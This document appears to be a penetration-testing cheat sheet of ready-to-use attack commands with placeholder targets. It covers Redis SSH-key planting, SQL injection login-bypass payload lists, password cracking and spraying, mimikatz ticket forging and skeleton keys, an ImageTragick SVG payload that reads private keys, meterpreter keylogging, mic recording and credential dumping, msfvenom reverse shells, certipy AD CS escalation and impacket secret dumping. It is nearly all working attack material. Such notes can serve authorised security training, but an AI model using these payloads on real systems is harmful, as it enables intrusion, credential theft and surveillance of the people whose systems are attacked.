echo "FLUSHALL" | redis-cli -h <RHOST>
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
<RHOST>:6379> get s-key
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
<RHOST>:6379> save
OK

```

## sqlcmd



```
sqlcmd -S <RHOST> -U <USERNAME>
```

## SQL Injection

### Master List

```
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-
```

### Authentication Bypass

```
'_ '
' '
'&'
'^ '
'* '
' or 1=1 limit 1 -- --+
'="or'
' or ''_ '
' or '' '
' or ''&'
' or ''^ '
' or ''* '
```

```

'-||0'
"-||0"
"_"
" "
"&"
"^"
"*"
'__'
"__"
'__' / "__"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='

```

```

admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""=""
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

```

## SQL Truncation Attack

```
'admin@<FQDN>' = 'admin@<FQDN>+++++htb'
```

## sqlite3

```
sqlite3 <FILE>.db
```

```
sqlite> .tables
sqlite> PRAGMA table_info(<TABLE>);
sqlite> SELECT * FROM <TABLE>;
```

## sqsh

```
sqsh -S <RHOST> -U <USERNAME>
sqsh -S '<RHOST>' -U '<USERNAME>' -P '<PASSWORD>'
sqsh -S '<RHOST>' -U '.\<USERNAME>' -P '<PASSWORD>'
```

## List Files and Folders with xp\_dirtree

```
EXEC master.sys.xp_dirtree N'C:\inetpub\wwwroot\',1,1;
```

## Password Attacks

### CrackMapExec

```
crackmapexec ldap -L
crackmapexec mysql -L
crackmapexec smb -L
crackmapexec ssh -L
crackmapexec winrm -L
```

```
crackmapexec smb <RHOST> -u '' -p '' --shares
crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus
crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u "" -p "" --shares
crackmapexec smb <RHOST> -u "" -p "" --shares -M spider_plus
crackmapexec smb <RHOST> -u "" -p "" --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute
crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
crackmapexec ldap <RHOST> -u '' -p '' -M get-desc-users
crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
```

```

crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
crackmapexec winrm -u usernames.txt -p '<PASSWORD>' -d <DOMAIN> <RHOST>
crackmapexec winrm <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordl.

```

## fcrack

```
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip
```

## hashcat

<https://tinyurl.com/ytbkp2hp/>

<https://tinyurl.com/zh24tvx>

<https://tinyurl.com/yofmm2sg>

<https://tinyurl.com/pezy2q6>

```
hashcat --example-hashes
```

```

hashcat -m 0 md5 /usr/share/wordlists/rockyou.txt
hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt
hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt
hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt
hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt

```

```
hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000
hashcat -0 -m 500 -a 3 -1 ?l -2 ?d -3 ?u --force hash.txt ?3?3?1?1?1?1?2?3
```

### Cracking ASPREPROast Password File

```
hashcat -m 18200 -a 0 <FILE> <FILE>
```

### Cracking Kerberoasting Password File

```
hashcat -m 13100 --force <FILE> <FILE>
```

### Bruteforce based on the Pattern

```
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout
```

### Generate Password Candidates: Wordlist + Pattern

```
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlist:
```

### Generate NetNLTMv2 with internalMonologue and crack with hashcat

```
InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose Fa
```

### Result

```
spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078!
```

### Crack with hashcat

```
hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:01
```

### Rules

<https://tinyurl.com/y2dt3e4f>

## Cracking with OneRuleToRuleThemAll.rule

```
hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule
```

## Hydra

```
hydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>  
hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>  
hydra -C /PATH/TO/WORDLIST/<FILE> <RHOST> ftp
```

```
export HYDRA_PROXY=connect://127.0.0.1:8080  
unset HYDRA_PROXY
```

```
hydra -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> <RHOST> http-post-form "/admin.php:!"
```

```
hydra <RHOST> http-post-form -L /PATH/TO/WORDLIST/<FILE> "/login:usernameField=^USER"
```

```
hydra <RHOST> http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin!"
```

```
hydra -l admin -P /PATH/TO/WORDLIST/<FILE> <RHOST> http-post-form "/Account/login.a:"
```

## John

```
/usr/share/john/ssh2john.py id_rsa > hash  
john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE>  
john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE>  
john --show <FILE>
```

## Kerbrute

### User Enumeration

```
./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>
```

### Password Spray

```
./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSW
```

## LaZagne

```
laZagne.exe all
```

## mimikatz

### Dump Hshes

```
.\mimikatz.exe  
sekurlsa::minidump /users/admin/Desktop/lsass.DMP  
sekurlsa::LogonPasswords  
meterpreter > getprivs  
meterpreter > creds_all  
meterpreter > golden_ticket_create
```

### Pass the Ticket

```
.\mimikatz.exe  
sekurlsa::tickets /export  
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi  
klist  
dir \\<RHOST>\admin$
```

### Forging Golden Ticket

```
.\mimikatz.exe  
privilege::debug  
lsadump::lsa /inject /name:krbtgt  
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-8494208!  
misc::cmd  
klist  
dir \\<RHOST>\admin$
```

### Skeleton Key

```
privilege::debug  
misc::skeleton
```



```
net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
dir \\<RHOST>\c$ /user:<USERNAME> mimikatz
```

## pypykatz

```
pypykatz lsa minidump lsass.dmp
pypykatz registry --sam sam system
```

## Exploitation Tools

### ImageTragick

<https://tinyurl.com/ycm9mqcs/>

### MSL / Polyglot Attack

<https://tinyurl.com/y3qzu9oa>

### poc.svg

```
<image authenticate='ff' `echo $(cat /home/<USERNAME>/.ssh/id_rsa) > /dev/shm/id_rsa`
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="https://tinyurl.com/yggvem" xmlns:xlink="http://www.w3.org/1999/xlink"
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>
```

```
convert poc.svg poc.png
cp /tmp/poc.svg /var/www/html/convert_images/
```

## Metasploit

```
$ sudo msfdb run // start database
$ sudo msfdb init // database initialization
$ msfdb --use-defaults delete // delete existing databases
$ msfdb --use-defaults init // database initialization
```

```

$ msfdb status // database status
msf6 > workspace // metasploit workspaces
msf6 > workspace -a <WORKSPACE> // add a workspace
msf6 > workspace -r <WORKSPACE> // rename a workspace
msf6 > workspace -d <WORKSPACE> // delete a workspace
msf6 > workspace -D // delete all workspaces
msf6 > db_nmap <OPTIONS> // execute nmap and add output to database
msf6 > hosts // reads hosts from database
msf6 > services // reads services from database
msf6 > vulns // displaying vulnerabilities
msf6 > search // search within metasploit
msf6 > set RHOST <RHOST> // set remote host
msf6 > set RPORT <RPORT> // set remote port
msf6 > run // run exploit
msf6 > spool /PATH/TO/FILE // recording screen output
msf6 > save // saves current state
msf6 > exploit // using module exploit
msf6 > payload // using module payload
msf6 > auxiliary // using module auxiliary
msf6 > encoder // using module encoder
msf6 > nop // using module nop
msf6 > show sessions // displays all current sessions
msf6 > sessions -i 1 // switch to session 1
msf6 > sessions -u <ID> // upgrading shell to meterpreter
msf6 > sessions -k <ID> // kill specific session
msf6 > sessions -K // kill all sessions
msf6 > jobs // showing all current jobs
msf6 > show payloads // displaying available payloads
msf6 > set VERBOSE true // enable verbose output
msf6 > set forceexploit true // exploits the target anyways
msf6 > set EXITFUNC thread // reverse shell can exit without exit the program
msf6 > set AutoLoadStdapi false // disables autoload of stdapi
msf6 > set PrependMigrate true // enables automatic process migration
msf6 > set PrependMigrateProc explorer.exe // auto migrate to explorer.exe
msf6 > use post/PATH/TO/MODULE // use post exploit module
msf6 > use post/linux/gather/hashdump // use hashdump for local systems
msf6 > use post/multi/manage/shell_to_meterpreter // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload // use a specific exploit
C:\> > Ctrl + z // put active meterpreter shell in background
meterpreter > loadstdapi // load stdapi
meterpreter > background // put meterpreter in background (:)
meterpreter > shell // get a system shell
meterpreter > channel -i <ID> // get back to existing meterpreter session
meterpreter > ps // checking processes
meterpreter > migrate 2236 // migrate to a process
meterpreter > getuid // get the user id
meterpreter > sysinfo // get system information
meterpreter > search -f <FILE> // search for a file

```

```

meterpreter > upload // uploading local files to the ta
meterpreter > ipconfig // get network configuration
meterpreter > load powershell // loads powershell
meterpreter > powershell_shell // follow-up command for load powe
meterpreter > powershell_execute // execute command
meterpreter > powershell_import // import module
meterpreter > powershell_shell // shell
meterpreter > powershell_session_remove // remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NI
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.{_}: $(Test-Co
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80
meterpreter > load kiwi // load mimikatz
meterpreter > help kiwi // mimikatz help
meterpreter > kiwi_cmd // execute mimikatz native command
meterpreter > lsa_dump_sam // lsa sam dump
meterpreter > dcsync_ntlm krbtgt // dc sync
meterpreter > creds_all // dump all credentials
meterpreter > creds_msv // msv dump
meterpreter > creds_kerberos // kerberos dump
meterpreter > creds_ssp // ssp dump
meterpreter > creds_wdigest // wdigest dump
meterpreter > getprivs // get privileges after loading mir
meterpreter > getsystem // gain system privileges if user :
meterpreter > hashdump // dumps all the user hashes
meterpreter > run post/windows/gather/checkvm // check status of the target
meterpreter > run post/multi/recon/local_exploit_suggester // checking for explo:
meterpreter > run post/windows/manage/enable_rdp // enables rdp
meterpreter > run post/multi/manage/autoroute // runs autoroutes
meterpreter > run auxiliary/server/socks4a // runs socks4 proxy :
meterpreter > keyscan_start // enabled keylogger
meterpreter > keyscan_dump // showing the output
meterpreter > screenshare // realtime screen sh:
meterpreter > screenshare -q 100 // realtime screen sh:
meterpreter > record_mic // recording mic outpu
meterpreter > timestomp // modify timestamps
meterpreter > execute -f calc.exe // starts a program or
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1 // port forwarding

```

## Metasploit through Proxychains

```
proxychains -q msfconsole
```

## Auxiliary Output Directory

```
/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.tx
```

## Meterpreter Listener

### Generate Payload

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe .
```

### Setup Listener for Microsoft Windows

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run
```

### Download Files

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe .
```

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run
```

```
.\<FILE>.exe
```

```
meterpreter > download *
```

# Post Exploitation

## Active Directory Certificate Services (AD CS)

```
certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vuln
```

### ESC1: Misconfigured Certificate Templates

```
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

### ESC2: Misconfigured Certificate Templates

```
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

### ESC3: Enrollment Agent Templates

```
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

### ESC4: Vulnerable Certificate Template Access Control

```
certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

### ESC6: EDITF\_ATTRIBUTESUBJECTALTNAME2

```
certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -vulnerable -dc-ip <RHOST>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy req -ca '<CA>' -username administrator@<DOMAIN> -password <PASSWORD> -target <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

## ESC7: Vulnerable Certificate Authority Access Control

```
certipy ca -ca '<CA>' -add-officer <USERNAME> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy ca -ca '<CA>' -enable-template SubCA -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <TARGET>
certipy ca -ca '<CA>' -issue-request <ID> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <TARGET>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>
```

## ESC8: NTLM Relay to AD CS HTTP Endpoints

```
certipy relay -target 'http://<CA>'
certipy relay -ca '<CA>' -template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
certipy auth -pfx dc.pfx -dc-ip <RHOST>
export KRB5CCNAME=dc.ccache
sudo secretsdump.py -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>
```

### Coercing

```
sudo ntlmrelayx.py -t http://<RHOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
python3 PetitPotam.py <RHOST> <DOMAIN>
python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>/'dc$' 'dc.ccache'
export KRB5CCNAME=dc.ccache
sudo secretsdump.py -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>
```

## ESC9: No Security Extensions

```
certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USER>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USER>
certipy req -ca '<CA>' -username <USERNAME> -hashes 54296a48cd30259cc88095373cec24d:
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USER>
certipy auth -pfx administrator.pfx -domain <DOMAIN>
```

## ESC10: Weak Certificate Mappings

### Case 1

```
certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USER>
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USER>
```

```
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -hashes a87f3a337d73085c45f941
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USI
certipy auth -pfx administrator.pfx -domain <DOMAIN>
```

## Case 2

```
certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USI
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USI
certipy req -ca 'CA' -username <USERNAME>@<DOMAIN> -password -hashes a87f3a337d7308!
certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USI
certipy auth -pfx dc.pfx -dc-ip <RHOST> -ldap-shell
```

## ESC11: IF\_ENFORCEENCRYPTICERTREQUEST

```
certipy relay -target 'rpc://<CA>' -ca 'CA'
certipy auth -pfx administrator.pfx -domain <DOMAIN>
```

## ADCSTemplate

```
Import-Module .\ADCSTemplate.psm1
New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subord.
```

## BloodHound

```
pip install bloodhound
sudo apt-get install neo4j
sudo apt-get install bloodhound
```

## Installing and starting Database

```
wget -O - https://tinyurl.com/vhwthq6 | sudo apt-key add -
sudo echo 'deb https://tinyurl.com/yn7vn8ne stable 4.0' > /etc/apt/sources.list.d/n
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get install neo4j
systemctl start neo4j
```

```
sudo neo4j start console
sudo bloodhound --no-sandbox
```

<https://tinyurl.com/kqwubnk>

## Docker Container

```
docker run -itd -p 7687:7687 -p 7474:7474 --env NE04J_AUTH=neo4j/<PASSWORD> -v $(pwd
```

## Database Password Reset

<https://tinyurl.com/kqwubnk>

```
ALTER USER neo4j SET PASSWORD '<PASSWORD>'
```

## BloodHound Python

```
bloodhound-python -d <DOMAIN> -u <USERNAME> -p "<PASSWORD>" -gc <DOMAIN> -c all -ns
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -ns <RHOST> -c All
bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -dc <RHOST> -ns <RHOST>
```

## bloodyAD

```
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object Users --i
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOM/
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOM/
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add uac <USERNAME> I
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove uac <USERNAMI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object <USERNAMI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT:
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT:
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOM/
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add dnsRecord <RECOI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove dnsRecord <RI
bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get dnsDump
```



## Certify

<https://tinyurl.com/267b27re>

```
.\Certify find /vulnerable
.\Certify.exe find /vulnerable /currentuser
```

## Certipy

<https://tinyurl.com/2c3ltmmt>

<https://tinyurl.com/ymc3svna/>

```
certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>
certipy find -dc-ip <RHOST> -u <USERNAME> -p <PASSWORD> -vulnerable -stdout
```

## Account Creation

```
certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST>
```

## Authentication

```
certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN>
```

## LDAP-Shell

```
certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell
```

```
# add_user <USERNAME>
# add_user_to_group <GROUP>
```

## Certificate Forging

```
certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST>
```

## Certificate Request

Run the following command twice because of a current issue with certipy .

```
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQI
```

```
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQI
```

```
certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQI
```

## Revert Changes

```
certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPI
```

## Start BloodHound Fork

```
./BloodHound --disable-gpu-sandbox
```

## enum4linux-ng

```
enum4linux-ng -A <RHOST>
```

## Evil-WinRM

```
evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
```

```
evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE,
```

## Impacket

```
impacket-atexec -k -no-pass <DOMAIN>/Administrator@<DOMAIN_CONTROLLER>.<DOMAIN> 'tyl
```

```
impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/
```

```
impacket-getST <DOMAIN>/<USERNAME>$ -spn www/<DOMAIN_CONTROLLER>.<DOMAIN> -hashes :c
```

```
impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

```
impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH,
```

```
impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <ACTION> <ACTION>
```

```
impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

```
impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

```
impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <ACTION>
```

```
impacket-smbpasswd <RHOST>/<USERNAME>:'<PASSWORD>'@<RHOST> -newpass '<PASSWORD>'
```

```
impacket-smbserver local . -smb2support
```

## impacket-smbclient

```
export KRB5CCNAME=<USERNAME>.ccache
impacket-smbclient <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
impacket-smbclient -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass
```

## impacket-getTGT

```
impacket-getTGT <RHOST>/<USERNAME>:<PASSWORD>
impacket-getTGT <RHOST>/<USERNAME> -dc-ip <RHOST> -hashes aad3b435b51404eeaad3b435b!
```

## impacket-GetNPUsers

```
impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format hashcat -outputfile h:
impacket-GetNPUsers <RHOST>/<USERNAME> -request -no-pass -dc-ip <RHOST>
impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format john -outputfile hash
```

## impacket-getUserSPNs

```
export KRB5CCNAME=<USERNAME>.ccache
impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pa:
```

## impacket-secretsdump

```
export KRB5CCNAME=<USERNAME>.ccache
impacket-secretsdump <RHOST>/<USERNAME>@<RHOST>
impacket-secretsdump -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass -debug
impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -outj
impacket-secretsdump -dc-ip <RHOST> <RHOST>.LOCAL/svc_bes:<PASSWORD>@<RHOST>
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
```

## impacket-psexec

```
impacket-psexec <USERNAME>@<RHOST>
impacket-psexec <RHOST>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b5140.
```

## impacket-ticketer

### Requirements

- Valid User
- NTHASH
- Domain-SID

```
export KRB5CCNAME=<USERNAME>.ccache
impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-274:
```

### Fixing [-] exceptions must derive from BaseException

#### Issue

```
impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <DOMAIN_CONTROLLER>.<RI
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
```

[-] exceptions must derive from BaseException

#### How to fix it

```
241         if self.__doKerberos:
242             #target = self.getMachineName()
243             target = self.__kdcHost
```

#### dacledit.py

<https://tinyurl.com/243wq45x/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py>

```
